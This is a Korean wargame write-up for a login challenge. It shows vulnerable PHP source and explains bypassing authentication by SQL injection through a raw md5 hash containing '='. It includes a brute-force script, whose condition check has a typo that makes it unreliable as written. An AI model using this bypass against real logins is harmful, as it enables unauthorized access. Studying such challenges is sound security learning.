간단한 아이디와 패스워드 입력부분이 나온다.
처음에는 Blind SQLi 인줄 알았다. 소스를 확인해보자.
<?
if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],true);
$q=@mysql_fetch_array(mysql_query("select id from challenge_51_admin where id='$input_id' and pw='$input_pw'"));
if($q[id]=="admin")
{
@solve(51,250);
}
if($q[id]!="admin") echo("<center><font color=green><h1>Wrong</h1></font></center>");
}
?>
md5($_POST[pw],true) 이 부분을 주의깊게 보자. 코드게이트에도 출제됐었던 문제이다.
아래는 php에서 md5 함수의 원형이다.
string md5( string $str [, bool $raw_output = false] )
두번째인자는 기본값이 false 이다. 하지만 이 인자값에 true 라는 값을 넣어주게 되면
보통의 정상적인 해쉬값이 아닌 깨진 값들이 나오게 된다.
왜 이런 현상이 발생하는지 알아보자.
SELECT id FROM challenge_51_admin WHERE id='admin' AND pw='값'='값'
이런식으로 쿼리를 날리면
MySQL 에서의 모든 문자(열)는 자동 형변환시 0이 되므로 값(문자열)=값(문자열),
즉 0=0 이 되어 참 값이 되어 admin 에 대한 정보를 불러올 것 이다.
고로 수많은 깨진 해쉬값들을 생성하고 그 중 '=' 가 포함되어 있는 해쉬를 찾으면 된다.
(쉽게 이해하기 위하여
SELECT id FROM member WHERE id='$id' AND pw='$pw' 와 같은 쿼리문에서 pw 부분에 '=' 를 넣으면
pw=''='' 이 되어 인증이 되는걸 생각하면 된다.('' 와 ''는 값기때문에. 주로 쓰는 1=1 와 같은 의미))
아래의 소스를 활용하여 해쉬를 생성하였다.
<?
for($i=0; $i<999999999; $i++){
$hash=md5($i,true);
$data=strpos($hash, "'='");
if(data!==false){
echo $i. $hash."<br>";
break;
}
}
?>
그 후 생성된 해쉬값을 이용하여 로그인을 시도하면 된다.
thx to rubiya@Leaveret ^^
'Wargame(CTF)' 카테고리의 다른 글
Challenge 57 (0) | 2014.06.12 |
---|---|
Challenge 45 (0) | 2014.06.12 |
Challenge 55 (0) | 2014.06.08 |
[Suninatas] Level 28 (0) | 2014.05.13 |
[Suninatas] Level 26 (0) | 2014.05.13 |